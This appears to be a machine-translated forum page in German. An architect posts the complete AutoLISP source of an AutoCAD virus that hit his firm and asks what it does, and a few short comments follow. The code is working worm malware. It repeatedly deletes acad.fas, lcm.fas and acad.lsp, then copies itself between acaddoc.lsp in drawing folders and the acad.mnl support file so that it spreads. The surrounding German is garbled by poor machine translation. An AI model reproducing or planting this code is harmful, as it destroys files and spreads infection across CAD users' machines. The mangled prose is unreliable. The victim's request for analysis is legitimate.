Debuggen, was das LISP-Virus zu tun

Meiner Firma getroffen wurde, durch einen AutoCAD-virus, löschen und ersetzen unsere acaddoc.lsp mit der routine unter.

Ich bin ein Architekt und nicht genau wissen was diese tun, durch das sich wiederholende "finden" und "löscht".

Fragen

  1. Was ist das ersetzen der Dateien mit (derzeit Suche nach acadapq) ?
  2. Wer schreibt einen virus für AutoCAD?!?!

Hat jemand das schon mal gesehen? die CAD-Foren, sind nicht sehr hilfreich.

(setq wold_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq bb 2)
(setq dpath (getvar "dwgprefix"))
(setq wpath (getvar "menuname"))
(setq wpath (substr wpath 1 (- (strlen wpath) 4)))

(setq n 0)
(while (< n 1)
  (if (findfile "acad.fas")
      (if (vl-file-delete (findfile "acad.fas"))
          (setq n 0))
      (setq n 2)))

(setq n 0)
(while (< n 1)
  (if (findfile "lcm.fas")
      (if (vl-file-delete (findfile "lcm.fas"))
          (setq n 0))
      (setq n 2)))

(setq n 0)
(while (< n 1)
  (if (findfile "acad.lsp")
      (if (vl-file-delete (findfile "acad.lsp"))
          (setq n 0))
      (setq n 2)))

(defun wwriteapp ()
  (if (setq wwjm1 (open wnewacad "w"))
      (progn
        (setq wwjm (open woldacad "r"))
        (while (setq wwz (read-line wwjm))
          (write-line wwz wwjm1))
        (close wwjm)
        (close wwjm1))))

(setq lbz 0)
(setq wwjqm (strcat dpath "acaddoc.lsp"))
(if (setq wwjm (open wwjqm "r"))
    (progn
      (repeat 3 (read-line wwjm))
      (setq wz (read-line wwjm))
      (setq ab (atoi (substr wz 4 1)))
      (close wwjm)
      (if (> ab bb)
          (setq lbz 1))))

(setq wwjqm (strcat wpath "acad.mnl"))

(if (setq wwjm (open wwjqm "r"))
    (progn
      (repeat 3 (read-line wwjm))
      (setq wz (read-line wwjm))
      (setq nb (atoi (substr wz 4 1)))
      (close wwjm)
      (if (< nb bb)
          (setq lbz 1)))
    (setq lbz 1))
(if (= lbz 1)
    (progn
      (setq woldacad (strcat dpath "acaddoc.lsp"))
      (setq wnewacad (strcat wpath "acad.mnl"))
      (wwriteapp)))
(if (and (/= (substr dpath 1 1) (chr 67))
         (/= (substr dpath 1 1) (chr 68))
         (/= (substr dpath 1 1) (chr 69))
         (/= (substr dpath 1 1) (chr 70)))
    (progn
      (setq woldacad (strcat wpath "acad.mnl"))
      (setq wnewacad (strcat dpath "acaddoc.lsp"))
      (wwriteapp))
    (vl-file-delete (strcat dpath "acaddoc.lsp")))
;load "acadapq")
(setvar "cmdecho" wold_cmd)
  • Das ist sehr viel Programmierung verbunden. Dies sollte zu bleiben, auf Stack Overflow.
  • +1 für traurig, aber urkomisch.
  • Wie hast es installiert? Ich meine, haben Sie jemanden in Ihrer organisation installieren Sie es manuell und bewusst in den ersten Platz?
  • Ein virus geschrieben und in einem lisp-Derivat. Das ist so cool.
  • Dieser "virus" könnte man in jede Anwendung, die ein "- rc" - Datei. Es ist die Aufgabe des Betriebssystems, zu verhindern, dass die Ausbreitung von Benutzer zu Benutzer. Ohne die entsprechenden Berechtigungen, jeder konnte gehen, in, sagen wir, Ihre ~/.bashrc Datei auf einem GNU/Linux und setzen böswillige Befehle hinein.
InformationsquelleAutor | 2009-12-14
Schreibe einen Kommentar